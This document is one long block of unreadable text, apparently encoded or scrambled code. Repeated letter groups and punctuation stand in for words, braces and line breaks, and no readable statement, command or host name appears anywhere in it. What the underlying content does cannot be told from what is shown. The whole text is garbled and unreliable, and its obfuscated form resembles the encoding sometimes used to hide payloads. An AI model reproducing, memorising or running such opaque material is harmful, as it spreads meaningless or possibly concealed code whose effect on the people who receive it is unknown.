G[HCZVE^ILtMr%ZA\J[JpCIHY[NpZtFXpY^U_NV^MUHrtIYNFACV\Er%HMW]J^Y]LV[]ZJ%%%%L@A[FAZJ%R%JpCIHY[NpZtFH]MK@AMIL\rtIYNFACV\ErtFXpY^U_NV^MUHr%HMW]J^Y]LV[]ZJ%R%FIV^@Kp[XB		HMW]J^Y]LV		JB_[VJpCIHY[NpZtMMGCVDKC_KACrT@_I^FVXCLBGgpbne`}pyj}|f`aDpAJVIp@_I^FVXCLBG%%%LN[DF@\INC\J%I@]JNLGJpCIHY[NpZtFXpY^U_NV^MUHrN\EG]G__N^T%  NLLZBZCN[JCJNDVMZLDJ[I@]xmC@LDyN]FN[F@A\%%FIFA[EG]G__N^tFH]MK@AMIL\rT%LN[DF@\[]ZJ@CFD]DCDAX]LJpUM@CFD]DCDAX
%M]JND%R%R%%%FILN[DF@\T%oZ_KN[Jp@_[F@AFH]MK@AMIL\FH]MK@AMIL\FH]MK@AMIL\UVBD\JJ@K[%%%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FXpY^U_NV^MUH%I@]JNLGJpCIHY[NpZtMMGCVDKC_KACrN\^[NWM^AAZA^EG]G__N^T%FVC]\Z]^LYVJ^AEG]G__N^tMr%ZA\J[JpCIHY[NpZtUVBD\JJ@K[rt^[NWM^AAZA^r%%%R%%%%R%%RJC\JFIV^@Kp[XBT%  x~ZJ]Vc@@_\]L\J[KJ\L]F_[@]%%__IILV\@UXoHJ[p@_[F@AMMGCVDKC_KAC%FIFH]MK@AMIL\__IILV\@UXSSFH]MK@AMIL\__IILV\@UXFH]MK@AMIL\oZ_KN[Jp@_[F@AMMGCVDKC_KACMMGCVDKC_KACFH]MK@AMIL\UVBD\JJ@K[%R%FIJB_[VJpCIHY[NpZtFH]MK@AMIL\roKJCJ[Jp@_[F@AFXpY^U_NV^MUH%JC\JFIHMW]J^Y]LVoZ_KN[Jp@_[F@AUVBD\JJ@K[JpCIHY[NpZMMGCVDKC_KAC%R%IZAL[F@AIFNND\AAK^YW[[YD\FB\HI_G%%T%]J[Z]AFXpY^U_NV^MUHFB\HI_G		MMGCVDKC_KACFB\HI_GUVBD\JJ@K[INC\JSSMMGCVDKC_KACFB\HI_GFXpY^U_NV^MUHINC\JSSUVBD\JJ@K[FB\HI_GFXpY^U_NV^MUHINC\JSSMMGCVDKC_KACFB\HI_GFH]MK@AMIL\INC\JSSFXpY^U_NV^MUHFB\HI_GFXpY^U_NV^MUHINC\JSSMMGCVDKC_KACFB\HI_GMMGCVDKC_KACINC\J%R%IZAL[F@AJYXBKpNBLAMFpVUJKVBFB\HI_G%T%FIIFNND\AAK^YW[[YD\FB\HI_G]J[Z]AINC\J%FIXM]BCXELK]^YWFB\HI_G]J[Z]A[]ZJ%FIFXpY^U_NV^MUHFXpY^U_NV^MUHFB\HI_GYE\BAI_T%%%%I@]JNLGYE\BAI_trN\BVEJC@^T%FIYJ]\F@ApL@B_N]JBVEJC@^XHMDNU[UXH@NANXI[]J[Z]A[]ZJ%R%]J[Z]AINC\J%R%]J[Z]A[]ZJ%R%IZAL[F@A_CpAAA\XABU\Z[ICMINUBAF]@%T%FIoMMGCVDKC_KACICMINUBAF]@SSoUVBD\JJ@K[ICMINUBAF]@]J[Z]A%GGBCCBVH[[J@oFH]MK@AMIL\ICMINUBAF]@%%FIGGBCCBVH[[J@]J[Z]A%FIGGBCCBVH[[J@T%\XCEE@LFGWGYoFH]MK@AMIL\ICMINUBAF]@INC\JAZCC%FIIFNND\AAK^YW[[YD\\XCEE@LFGWGY]J[Z]A%FIZ\HW^DHNLJH]_VEHFHCICMINUBAF]@INC\JT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FXpY^U_NV^MUHFH]MK@AMIL\ICMINUBAF]@%]J[Z]A%R%oFXpY^U_NV^MUHICMINUBAF]@_G_sA%FIMMGCVDKC_KACFXpY^U_NV^MUHo@_LNLGJpFAYNCFKN[JICMINUBAF]@[]ZJ%]J[Z]A%R%FIGGBCCBVH[[J@T%\LN^I\[]FAHoFXpY^U_NV^MUHICMINUBAF]@INC\JAZCCWKWL%B^C[G[@GGBCCBVH[[J@\[]FAHoUVBD\JJ@K[ICMINUBAF]@INC\JAZCCGGBCCBVH[[J@%KZDZUANLENIX\\LN^IB^C[G[@%FIKZDZUANLENIX\		MMGCVDKC_KACUVBD\JJ@K[KZDZUANLENIX\BVU^_[WXL[WT%V_Z_JBGCFYINC\J%I@]JNLGBVU^_[WXL[WtrN\DXKLVKT%FIYJ]\F@ApL@B_N]JDXKLVKXHMDNU[UXH@NANXI[T%V_Z_JBGCFY[]ZJ%M]JND%R%R%FIV_Z_JBGCFY]J[Z]A%R%R%FB\HI_GoMMGCVDKC_KACICMINUBAF]@%%%FIFXpY^U_NV^MUHFB\HI_G		UVBD\JJ@K[FB\HI_GFB\HI_GEXpF\FZFGEDEJFB\HI_G%FIFXpY^U_NV^MUHFB\HI_G]J[Z]A%FIJYXBKpNBLAMFpVUJKVBFB\HI_G]J[Z]A%YJJpDFJF@YLDICMINUBAF]@FB\HI_G%R%IZAL[F@AYJJpDFJF@YLDICMINUBAF]@FB\HI_G%T%%%BEB]J\FDMHZYMMGCVDKC_KACMMGCVDKC_KACFB\HI_G%FIFXpY^U_NV^MUHBEB]J\FDMHZYSSUVBD\JJ@K[BEB]J\FDMHZYSSFXpY^U_NV^MUHBEB]J\FDMHZYMMGCVDKC_KACBEB]J\FDMHZY_G_sA%FIUVBD\JJ@K[BEB]J\FDMHZY		YUKA]KF^LpMLUMZBEB]J\FDMHZYBEB]J\FDMHZY_G_sA_DXJ_XLVgpfa{pbnw gpfa{pbnw_]BUJX]N_DXJ_XLV%pKBNWIWN\]MMoIFCJ_J]B\ICMINUBAF]@%%%pKBNWIWN\]MMpKBNWIWN\]MMINC\JpKBNWIWN\]MM	%\HVEL^\@oFH]MK@AMIL\ICMINUBAF]@%CXX@_pGN]oFH]MK@AMIL\MMGCVDKC_KACICMINUBAF]@UVBD\JJ@K[%FICXX@_pGN]INC\J]J[Z]A%FIoUVBD\JJ@K[CXX@_pGN]BEB]J\FDMHZYFH]MK@AMIL\BEB]J\FDMHZYT%oMMGCVDKC_KACCXX@_pGN]%]J[Z]A%R%oMMGCVDKC_KACCXX@_pGN]pKBNWIWN\]MM%FIoMMGCVDKC_KACCXX@_pGN]ICMINUBAF]@T%oFH]MK@AMIL\CXX@_pGN]%]J[Z]A%R%FI\HVEL^\@oFH]MK@AMIL\ICMINUBAF]@\HVEL^\@%FIMMGCVDKC_KACFXpY^U_NV^MUHo@_LNLGJpFAYNCFKN[JICMINUBAF]@[]ZJ%R%%%IZAL[F@AFZ^DE^VX^\EU[Y[_GCK\M%T%%%FIFXpY^U_NV^MUH[Y[_GCK\M]J[Z]A%FIFXpY^U_NV^MUHMMGCVDKC_KAC[Y[_GCK\MMHpYp]E[p@T%F\H]^MMW_MHpYp]E[p@tr%%%%%GGBCCBVH[[J@oMMGCVDKC_KACF\H]^MMW_oFH]MK@AMIL\F\H]^MMW_%FIGGBCCBVH[[J@SSGGBCCBVH[[J@WKWKSSGGBCCBVH[[J@T%  ^ZNA[FIV@YJ]GJNK%%FIGGBCCBVH[[J@T%%%H]WIVENNAYEoFXpY^U_NV^MUHF\H]^MMW_%FIFH]MK@AMIL\H]WIVENNAYEH]WIVENNAYEF\H]^MMW_%H]WIVENNAYEMMGCVDKC_KACss H]WIVENNAYE%CLUIGX_WZDINC\J%IKJ_@XpCZFKMN]]NVKJIFAJKMMGCVDKC_KACUVBD\JJ@K[nm|n{gUVBD\JJ@K[KJIFAJKUVBD\JJ@K[UVBD\JJ@K[xpl`a{ja{pkf}FH]MK@AMIL\%%%%I@]JNLGIKJ_@XpCZFKMN\VUNXHAJYA]KYKT%VUNXHAJYA]KYKFH]MK@AMIL\ss VUNXHAJYA]KYK%FIVUNXHAJYA]KYK		UVBD\JJ@K[H]WIVENNAYEVUNXHAJYA]KYK T%CLUIGX_WZD[]ZJ%M]JND%R%%%%R%FICLUIGX_WZD		Z\HW^DHNLJH]_VEHFHCF\H]^MMW_INC\JT%oUVBD\JJ@K[F\H]^MMW_%oFH]MK@AMIL\FH]MK@AMIL\F\H]^MMW_UVBD\JJ@K[FH]MK@AMIL\F\H]^MMW_UVBD\JJ@K[%RJC\JT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FH]MK@AMIL\MMGCVDKC_KACF\H]^MMW_%R%R%%%]J[Z]A%%%%R%R%  \J]FNCFUJA@]BNC[ZBMCFAHXFAK@X%%]J[Z]A[Y[_GCK\M%R%%%IZAL[F@AAXLIYVZM%T%%\[N[FLF\H]^MMW_AZCC%FIF\H]^MMW_AZCCT%_EI@L@EIZGKYV_D[XNYDKY%F\H]^MMW_UVBD\JJ@K[_EI@L@EIZ		F\\J[_EI@L@EIZtFXpY^U_NV^MUHr		UVBD\JJ@K[\[]FAH_EI@L@EIZtUVBD\JJ@K[rFH]MK@AMIL\%R%]J[Z]AF\H]^MMW_%R%%%%IZAL[F@AULWNHGVY@FCJ%T%FIKJIFAJKFH]MK@AMIL\]J[Z]A%%KJ^B@NIBBM_nm|n{gFH]MK@AMIL\%FIoFXpY^U_NV^MUHKJ^B@NIBBM_T%FL^VLWAHNVDX]XFH]MK@AMIL\nm|n{gFH]MK@AMIL\%FIoFXpY^U_NV^MUHFL^VLWAHNVDX]XKJ^B@NIBBM_FL^VLWAHNVDX]X%%%R%FIoMMGCVDKC_KACKJ^B@NIBBM_SSoMMGCVDKC_KACKJ^B@NIBBM_]J[Z]A%H]WIVENNAYEoUVBD\JJ@K[KJ^B@NIBBM_%%%%FIFXpY^U_NV^MUHH]WIVENNAYE		H]WIVENNAYE		oUVBD\JJ@K[H]WIVENNAYEKJ^B@NIBBM_H]WIVENNAYE%FIoFXpY^U_NV^MUHKJ^B@NIBBM_WWKNN]J[Z]A%FB\HI_GoFH]MK@AMIL\KJ^B@NIBBM_%FIFXpY^U_NV^MUHFB\HI_GSSFB\HI_G]J[Z]A%]UVV\EDIUFLFXpY^U_NV^MUHFB\HI_GMMGCVDKC_KACINC\JSSFXpY^U_NV^MUHFB\HI_GUVBD\JJ@K[INC\J%EpJMDUWYYHX^INC\J%FIUVBD\JJ@K[FB\HI_GFXpY^U_NV^MUHINC\JT% \[]JNBFAHN]MF[]N[@] %%FIJB_[Vhc`mnc|tFH]MK@AMIL\rT%EpJMDUWYYHX^[]ZJ%RJC\JT%%%GZBHBC[LXGBMMGCVDKC_KACFH]MK@AMIL\UVBD\JJ@K[FXpY^U_NV^MUH%%%%FIoFXpY^U_NV^MUHGZBHBC[LXGBSSoMMGCVDKC_KACGZBHBC[LXGBEpJMDUWYYHX^[]ZJ%%R%R%%%%GLGZ_VFDGppINC\J%%N]GILALDINC\J%FIFH]MK@AMIL\FH]MK@AMIL\FB\HI_G		KJIFAJKFXpY^U_NV^MUHT%pNLxpl`a{ja{pkf}FXpY^U_NV^MUH%%%%FIoFXpY^U_NV^MUHpNLT%@ZBUCF@p\[]FAHoFXpY^U_NV^MUHpNLINC\JAZCCWNMNW%%%FIFXpY^U_NV^MUH@ZBUCF@pMMGCVDKC_KACINC\JGLGZ_VFDGpp[]ZJ%R%RJC\JFI%FH]MK@AMIL\FB\HI_GMMGCVDKC_KACINC\J%		FH]MK@AMIL\FXpY^U_NV^MUHFB\HI_G%%T%%N]GILALD[]ZJ%R%IZDBVZX@INC\J%FIAXLIYVZMTUG^FMVGAGE^FJD]@A]UUG^FMVGA
%%%%FI%UVBD\JJ@K[MMGCVDKC_KACFB\HI_G%SSFH]MK@AMIL\FH]MK@AMIL\FB\HI_G%SSMMGCVDKC_KACUVBD\JJ@K[FB\HI_G%IZDBVZX@[]ZJ%R%FI]UVV\EDIUFL		EpJMDUWYYHX^		GLGZ_VFDGpp		IZDBVZX@		N]GILALD]J[Z]A%%%%N]BIU^\FG%BEB]J\FDMHZYFB\HI_G%FI]UVV\EDIUFLT%FIUVBD\JJ@K[FXpY^U_NV^MUHFB\HI_G_K_VMFMGU@ADN]BIU^\FGFH]MK@AMIL\sA_K_VMFMGU@ADtr%BEB]J\FDMHZYFXpY^U_NV^MUHMMGCVDKC_KACFB\HI_G%%%FIMMGCVDKC_KACBEB]J\FDMHZY]J[Z]A%FIUVBD\JJ@K[MMGCVDKC_KACBEB]J\FDMHZYCV[DU\MBYWN]BIU^\FGsAUVBD\JJ@K[sACV[DU\MBYWtr%BEB]J\FDMHZYMMGCVDKC_KACUVBD\JJ@K[BEB]J\FDMHZY%FIMMGCVDKC_KACBEB]J\FDMHZY]J[Z]A%R%FIEpJMDUWYYHX^		FH]MK@AMIL\MMGCVDKC_KACBEB]J\FDMHZYT%BEB]J\FDMHZYFH]MK@AMIL\FXpY^U_NV^MUHMMGCVDKC_KACKJIFAJxp{jbpkf}KJIFAJKxpl`a{ja{pkf}xpl`a{ja{pkf}nm|n{gX_L@A[JA[ \Lp[B_sABEB]J\FDMHZY%FIFH]MK@AMIL\BEB]J\FDMHZY]J[Z]A%%R%%%FIGLGZ_VFDGpp		UVBD\JJ@K[FH]MK@AMIL\BEB]J\FDMHZYT%BEB]J\FDMHZYFH]MK@AMIL\FXpY^U_NV^MUHFXpY^U_NV^MUHKJIFAJxplnlgj[]ZJ |lpxl sABEB]J\FDMHZY%FIUVBD\JJ@K[BEB]J\FDMHZY]J[Z]A%RJC\JFIN]GILALDT%BEB]J\FDMHZYUVBD\JJ@K[FXpY^U_NV^MUHMMGCVDKC_KACKJIFAJxplnlgj[]ZJ |lpxl sABEB]J\FDMHZY%FIFH]MK@AMIL\BEB]J\FDMHZY]J[Z]A%R%%FIIZDBVZX@T%BEB]J\FDMHZYFH]MK@AMIL\FH]MK@AMIL\BEB]J\FDMHZY%FIMMGCVDKC_KACBEB]J\FDMHZY]J[Z]A%FIFXpY^U_NV^MUHFH]MK@AMIL\BEB]J\FDMHZYT%BEB]J\FDMHZYUVBD\JJ@K[UVBD\JJ@K[UVBD\JJ@K[KJIFAJxpkjmzh[]ZJsAKJIFAJxpkjmzhpc`h[]ZJsAKJIFAJxpkjmzhpkf|cnvINC\JsABEB]J\FDMHZY%%FIFH]MK@AMIL\BEB]J\FDMHZY]J[Z]A%%%R%R%FIBEB]J\FDMHZYFB\HI_G]J[Z]A%FIYUKA]KF^LpMLUMZBEB]J\FDMHZY]J[Z]A%FIGLGZ_VFDGpp		ALp@Z@[NNUFKJ^B@NIBBM_FB\HI_GT%%%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FXpY^U_NV^MUH%BEB]J\FDMHZYFXpY^U_NV^MUHFXpY^U_NV^MUHUVBD\JJ@K[BEB]J\FDMHZY%FIMMGCVDKC_KACBEB]J\FDMHZYSSBEB]J\FDMHZYFB\HI_G]J[Z]A%FIYUKA]KF^LpMLUMZBEB]J\FDMHZY]J[Z]A%R%%%pKBNWIWN\]MMoIFCJ_J]B\KJ^B@NIBBM_%pKBNWIWN\]MMpKBNWIWN\]MMINC\JWNWNpKBNWIWN\]MM	%\HVEL^\@oMMGCVDKC_KACKJ^B@NIBBM_%CXX@_pGN]oFH]MK@AMIL\FXpY^U_NV^MUHKJ^B@NIBBM_MMGCVDKC_KAC%FICXX@_pGN]INC\J]J[Z]A%FIoMMGCVDKC_KACCXX@_pGN]BEB]J\FDMHZYFXpY^U_NV^MUHBEB]J\FDMHZYT%oMMGCVDKC_KACCXX@_pGN]%]J[Z]A%R%oMMGCVDKC_KACCXX@_pGN]pKBNWIWN\]MM%FIoFXpY^U_NV^MUHCXX@_pGN]KJ^B@NIBBM_T% IFAF[J\LGJKZCJ] %%%oMMGCVDKC_KACCXX@_pGN]%]J[Z]A%R%FI\HVEL^\@oFH]MK@AMIL\KJ^B@NIBBM_\HVEL^\@%FIFH]MK@AMIL\MMGCVDKC_KACo@_LNLGJpFAYNCFKN[JKJ^B@NIBBM_[]ZJ%FIUVBD\JJ@K[FH]MK@AMIL\N]BIU^\FG\E\GKMYZB]YT%I@]JNLGFH]MK@AMIL\\E\GKMYZB]YtrN\Z]^FUFDWIT%FIFXpY^U_NV^MUHZ]^FUFDWIFH]MK@AMIL\		oFXpY^U_NV^MUHZ]^FUFDWIoUVBD\JJ@K[Z]^FUFDWI%R%R%FIFXpY^U_NV^MUHMMGCVDKC_KAC		FXpY^U_NV^MUHFXpY^U_NV^MUHN]BIU^\FGGVAVFFMGFT%I@]JNLGFXpY^U_NV^MUHGVAVFFMGFtrN\_BGF_]^AT%FIFH]MK@AMIL\FXpY^U_NV^MUH_BGF_]^AoKJCJ[Jp@_[F@A_BGF_]^A%%%R%R%R%IZAL[F@AB^LWC]@_]Z%T%%%%FIKJIFAJKUVBD\JJ@K[]J[Z]A%%%%BNKEWM@XKJIFAJKFH]MK@AMIL\xbzpczhfapkf}xpl`a{ja{pkf}UVBD\JJ@K[%X][pX[DEHVGIDVN]]NV%FIMMGCVDKC_KACFH]MK@AMIL\T%FIoFXpY^U_NV^MUHBNKEWM@XI@]JNLGN]]NVoMMGCVDKC_KACBNKEWM@XUVBD\JJ@K[N\Y]GXNMHL\X][pX[DEHVGIDVtrY]GXNMHL\%FIKJIFAJKFXpY^U_NV^MUH		oUVBD\JJ@K[xpczhfapkf}I@]JNLGN]]NVoFH]MK@AMIL\xpczhfapkf}FXpY^U_NV^MUHN\Y]GXNMHL\X][pX[DEHVGIDVtrY]GXNMHL\%R%_WNKE\V^NA@HKJIFAJKFXpY^U_NV^MUHnm|n{g%D@MZDM^xpl`a{ja{pkf}FXpY^U_NV^MUHUVBD\JJ@K[FH]MK@AMIL\_WNKE\V^NA@HFXpY^U_NV^MUHFXpY^U_NV^MUHUVBD\JJ@K[MMGCVDKC_KAC_WNKE\V^NA@HFH]MK@AMIL\qMMGCVDKC_KAC%%%FIoFH]MK@AMIL\D@MZDM^X][pX[DEHVGIDVtrD@MZDM^%I@]JNLGX][pX[DEHVGIDVN\Y]GXNMHL\T%\HVEL^\@oMMGCVDKC_KACY]GXNMHL\%%%%FI\HVEL^\@SS\HVEL^\@
T%%%%NW^FUI]GMoFXpY^U_NV^MUHY]GXNMHL\%FINW^FUI]GMSSNW^FUI]GMSSNW^FUI]GML@A[FAZJ%R%  xl@YJ]mC@LD_CNLJG@CKJ]MCZ]%%H]WIVENNAYEoMMGCVDKC_KACY]GXNMHL\%  xbJKFN{JW[mC@LDZAKJLFKNMCJL@A[]NYN]FNA[%%UEJIEU\MYJCFoMMGCVDKC_KAC]\MJUBY%FIMMGCVDKC_KACH]WIVENNAYE		MMGCVDKC_KACUEJIEU\MYJCF		H]WIVENNAYEUEJIEU\MYJCFL@A[FAZJ%YLW[\U@oFXpY^U_NV^MUHY]GXNMHL\INC\JAZCC%FIFH]MK@AMIL\YLW[\U@SSFH]MK@AMIL\YLW[\U@FXpY^U_NV^MUHINC\JL@A[FAZJDV\^ZMHZHGIEJ@CCDV\^ZMHZH%%%%FIMMGCVDKC_KACMMGCVDKC_KACYLW[\U@BVU^_[WXL[WL@A[FAZJ%%%FIYJ]\F@ApL@B_N]JBVU^_[WXL[WtrXHMDNU[UXH@NANXI[L@A[FAZJ%%%DE\^DEADCW^_Z\HW^DHNLJH]_VEHFHCY]GXNMHL\%FIDE\^DEADCW^_INC\JT%%%%@DWMpK]LDZ\KNVCZMMGCVDKC_KACMMGCVDKC_KACUVBD\JJ@K[Y]GXNMHL\%L@A[FAZJ%R%  JANMCJ\D@CJBI@]xyJ]\JmC@LD%%%%FIDE\^DEADCW^_[]ZJT%%%%FIG]CYUEMXZpD_Y]GXNMHL\Y]GXNMHL\FXpY^U_NV^MUHT%FIFH]MK@AMIL\FXpY^U_NV^MUHo@_LNLGJpFAYNCFKN[JY]GXNMHL\[]ZJ%%R%oUVBD\JJ@K[FXpY^U_NV^MUHY]GXNMHL\MMGCVDKC_KACMMGCVDKC_KACY]GXNMHL\MMGCVDKC_KAC%%L@A[FAZJ%R%oFXpY^U_NV^MUHY]GXNMHL\%oMMGCVDKC_KACFH]MK@AMIL\Y]GXNMHL\MMGCVDKC_KACMMGCVDKC_KACY]GXNMHL\UVBD\JJ@K[%FIMMGCVDKC_KACMMGCVDKC_KACo@_LNLGJpFAYNCFKN[JY]GXNMHL\[]ZJ%R%%%ULWNHGVY@FCJ%VAN]EA_Yxpl`a{ja{pkf}FXpY^U_NV^MUH%%%%FIoFH]MK@AMIL\VAN]EA_Y		FXpY^U_NV^MUHFH]MK@AMIL\T%%%%I@]JNLGN]]NVoMMGCVDKC_KACVAN]EA_YMMGCVDKC_KACN\YBVVBKNYT%FIoFXpY^U_NV^MUHYBVVBKNYSSoUVBD\JJ@K[YBVVBKNYL@A[FAZJ%[L_[[Ip@ZM[[HGoFXpY^U_NV^MUHYBVVBKNY%FI[L_[[Ip@ZM[[HGSS[L_[[Ip@ZM[[HGWKNWJKL@A[FAZJ%L^UFAEDYJEoMMGCVDKC_KACYBVVBKNY%FIFXpY^U_NV^MUHL^UFAEDYJEL@A[FAZJ%FIFH]MK@AMIL\L^UFAEDYJEMMGCVDKC_KACINC\J		FH]MK@AMIL\L^UFAEDYJEMMGCVDKC_KACINC\J		FH]MK@AMIL\L^UFAEDYJEFH]MK@AMIL\INC\JL@A[FAZJ%FIUMZZWCCL^UFAEDYJEL@A[FAZJ%%%Hp@@A[NYUIMYpE_]E_V^KFL^UFAEDYJE%FIMMGCVDKC_KACHp@@A[NYUIM		Hp@@A[NYUIML^UFAEDYJET%\M^IMUZLAAY\WEFW_YBVVBKNYHp@@A[NYUIM%%%%FIFXpY^U_NV^MUHFXpY^U_NV^MUHo@_LNLGJpFAYNCFKN[JYBVVBKNY[]ZJ%R%R%R%_CpAAA\XABU\Z[xpl`a{ja{pkf}MMGCVDKC_KAC%_CpAAA\XABU\Z[xpl`a{ja{pkf}MMGCVDKC_KAC%%FIFXpY^U_NV^MUHFXpY^U_NV^MUH		MMGCVDKC_KACMMGCVDKC_KAC		UVBD\JJ@K[MMGCVDKC_KACTD_AHYMA@@XG\@ICN[D_AHYMA@
%p@A@\J__MJJCW]ZGnm|n{gMMGCVDKC_KAC%Y^JKDN\NoHJ[p@_[F@Ap@A%FIMMGCVDKC_KACY^JKDN\N		Y^JKDN\NT%%AYJX^GBNEUIUVBD\JJ@K[Y^JKDN\N[]ZJ%FIFH]MK@AMIL\AYJX^GBNEUI		HDXIGVJWFNJ\AYJX^GBNEUIoKJCJ[Jp@_[F@Ap@A%R%YLFIpD]EF@CFH]MK@AMIL\FXpY^U_NV^MUHGMFZYEXHXZ]UADppWUVBD\JJ@K[%FIFXpY^U_NV^MUHYLFIpD]EF@C		YLFIpD]EF@C		FH]MK@AMIL\YLFIpD]EF@CSSFH]MK@AMIL\FH]MK@AMIL\		M]H]LVBMG^[JUYLFIpD]EF@CSSXM]BCXELK]^YWYLFIpD]EF@CT%%%FIUVBD\JJ@K[FXpY^U_NV^MUHEUpCCUU[VUN]KXADBYMMGCVDKC_KACFXpY^U_NV^MUH%R%R%R%IZAL[F@ACDIYMLFH^LLL\%TpBVpVH\J[UZgpbne`}pyj}|f`aZpNJ\pLXVUDpBVpVH\J[UZ%%[]VT%FIKJIFAJKFH]MK@AMIL\]J[Z]A%FIJB_[Vhc`mnc|tMMGCVDKC_KACrT%%%hc`mnc|tMMGCVDKC_KACr%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FXpY^U_NV^MUH%R%  xmC@LD{]NA\I@]B\JW_@AJA[FNC]FAHMZIIJ]%%%%FIJB_[Vhc`mnc|tFH]MK@AMIL\r]J[Z]A%hc`mnc|tFH]MK@AMIL\r[]ZJ%FIF\\J[phj{tFXpY^U_NV^MUHr		FH]MK@AMIL\UVBD\JJ@K[		FXpY^U_NV^MUHUVBD\JJ@K[T%%GpZIHWM\oHJ[p@_[F@AFH]MK@AMIL\N]]NV%MCpAYINC\J%FIFH]MK@AMIL\GpZIHWM\TZ\NNB\LIXCLI[]CNBM@[Z\NNB\LIX%FIJB_[VGpZIHWM\t[r		MMGCVDKC_KACFA[GpZIHWM\tFXpY^U_NV^MUHrMCpAY[]ZJ%%%FIMCpAY		JB_[VGpZIHWM\tMMGCVDKC_KACr		FXpY^U_NV^MUHGpZIHWM\tUVBD\JJ@K[rT%I@]JNLGGpZIHWM\tUVBD\JJ@K[rN\pLFT%%FIFH]MK@AMIL\pLF		FH]MK@AMIL\FA[pLFtFH]MK@AMIL\rT%MCpAY[]ZJ%M]JND%R%R%R%R%FIMCpAYFH]MK@AMIL\FH]MK@AMIL\%R%FIUBJKIEMY[LUBHX]\MJUBY]J[Z]A%B^LWC]@_]Z%@X\HBNGAXD]\MJUBYXHMDNU[UXH@NANXI[%FINHGYVFA\AKHT%%%%ML[^@pUWp^HFDpVCB%\KAWDD]DU]]^LHp\%]J[Z]A%  [G]JNK\NIJINL[@]V%%%R%YIHUKIZVK^W\ZBKLY[ZIN%]YLVMUB_@XXN]]NV%%]\MJUBY%YIHUKIMMGCVDKC_KAC%%B]XIGM@^IXBE@LCEEY%I@]JNLGB]XIGM@^N\EFXI][KALFVZ[T%%FIoFH]MK@AMIL\EFXI][KALFVZ[]YLVMUB_@XXtrEFXI][KALFVZ[%%R%@MF_Y]XN]]NV%FICKBXNHE^IMXWT%YXFpJMCVYC@\J__MJJCW]ZGnm|n{gFH]MK@AMIL\FXpY^U_NV^MUHBV[DVIDHHWKWJp\VBUDJpCBV[DVIDHH
%@MF_Y]XtFH]MK@AMIL\nm|n{gMMGCVDKC_KACrYXFpJMCVYC%@MF_Y]XtFXpY^U_NV^MUHYIHUKIFH]MK@AMIL\rYXFpJMCVYC%R%]Y@@\p]pG@^ZFH]MK@AMIL\FXpY^U_NV^MUHoFH]MK@AMIL\FH]MK@AMIL\INC\J%%FIFXpY^U_NV^MUH]Y@@\p]pG@^Z		]Y@@\p]pG@^ZT%V]U^_KCMFA[HJ[p@_[F@AUVBD\JJ@K[%FIV]U^_KCMSSFH]MK@AMIL\V]U^_KCMT%%%@@JFBVDU@\J__MJJCW]ZGnm|n{gMMGCVDKC_KACUVBD\JJ@K[%@MF_Y]XtFH]MK@AMIL\FH]MK@AMIL\nm|n{gFH]MK@AMIL\ ]Y@@\p]pG@^Zr@@JFBVDU%@MF_Y]XtUVBD\JJ@K[YIHUKI ]Y@@\p]pG@^Zr@@JFBVDU%R%R%%p\I[NN@CCFXH_B\XpJ_%FIoUVBD\JJ@K[p\I[NN@Ctr@MF_Y]XtFH]MK@AMIL\p\I[NN@CtrrFXpY^U_NV^MUHp\I[NN@Ctr%pDG^]XZNYoHJ[p@_[F@AUVBD\JJ@K[N]]NV%FIFH]MK@AMIL\pDG^]XZNYpDG^]XZNYN]]NV%]]GZJKCNG]XKMINC\J%I@]JNLG]YLVMUB_@XXN\ACWDELJTMJGBM]FIXFBM^F\FUJFVYMJGBM]FIXF%VNDYDCFKM][VoFXpY^U_NV^MUHACWDELJ%KpDpJHZVNDYDCFKM][VVNDYDCFKM][VtMMGCVDKC_KACrSVNDYDCFKM][VtUVBD\JJ@K[r%C_GFVWZE@___F\\J[pDG^]XZNYtACWDELJrpDG^]XZNYtACWDELJr%FIKpDpJHZC_GFVWZE@___L@A[FAZJ%FIFXpY^U_NV^MUHFH]MK@AMIL\C_GFVWZE@___FLHD^BDFJ^G		FXpY^U_NV^MUHC_GFVWZE@___UVBD\JJ@K[FLHD^BDFJ^GtrKpDpJHZ		MMGCVDKC_KACFA[FLHD^BDFJ^GtrL@A[FAZJ%%%%]]GZJKCNG]XKM[]ZJ%M]JND%%%R%%FI]]GZJKCNG]XKMT%%%%I@]JNLG@MF_Y]XN\DJVVKZYLCADM^T%%%KpDpJHZMGNZVN_Y@_A]UVBD\JJ@K[DJVqVKZYLCADM^%C_GFVWZE@___F\\J[pDG^]XZNYtDJVrpDG^]XZNYtDJVr%FIKpDpJHZC_GFVWZE@___L@A[FAZJ%FIMMGCVDKC_KACFH]MK@AMIL\C_GFVWZE@___FLHD^BDFJ^G		MMGCVDKC_KACC_GFVWZE@___FH]MK@AMIL\FLHD^BDFJ^GtrKpDpJHZ		FH]MK@AMIL\FA[FLHD^BDFJ^GtrL@A[FAZJ%]]GZJKCNG]XKM[]ZJ%M]JND%%%%R%R%FA]LKEYpIEMMGCVDKC_KAC]\MJUBYFH]MK@AMIL\%%^I^__LJGXAYIHUKIUVBD\JJ@K[FA]LKEYpIE FA]LKEYpIEFH]MK@AMIL\%EpUDU^XINXUYMLJK@CpC%FIoFH]MK@AMIL\^I^__LJGXASSFA[oFXpY^U_NV^MUH^I^__LJGXA]]GZJKCNG]XKM[]ZJ%FIEpUDU^XIN		oMMGCVDKC_KACEpUDU^XIN]]GZJKCNG]XKM[]ZJ%FI]]GZJKCNG]XKM		MMGCVDKC_KACMMGCVDKC_KACT%  oVFJCKZAFIFLN[F@A%%MW[MUFA]LKEYpIE FA]LKEYpIEMMGCVDKC_KAC%%%%FVU]HA\KEBHJ[p@_[F@AUVBD\JJ@K[N]]NV%FIFH]MK@AMIL\FVU]HA\KEBSSFH]MK@AMIL\MW[MUFVU]HA\KEB[]ZJ]]GZJKCNG]XKM[]ZJ%%%%R%FI]]GZJKCNG]XKM]J[Z]A%%%FILBFEWKCIBAXFH]MK@AMIL\]J[Z]A%[]VT%MFX_]HGEZIM[XA%%%HLGMCH\VBNYUBYGHGB\AGEKWgpbne`}pyj}|f`aU@]FYp]ZNLWGB\AGEKW%%\KAWDD]DU]]^LHp\%KIW@CV@ECHKJYMF\%AJ\L[ApYUV%ML[^@pUWp^HFDpVCB%%LLHNDUWB_FCB_NCZ%MFFEE^DIDBA@L_N\_N_ABZVMBFpKY][WNN\_N_ABZV%IMEN@FDNWW_KI@FJV[^^N%@DF\DCLGLCFGVWVKM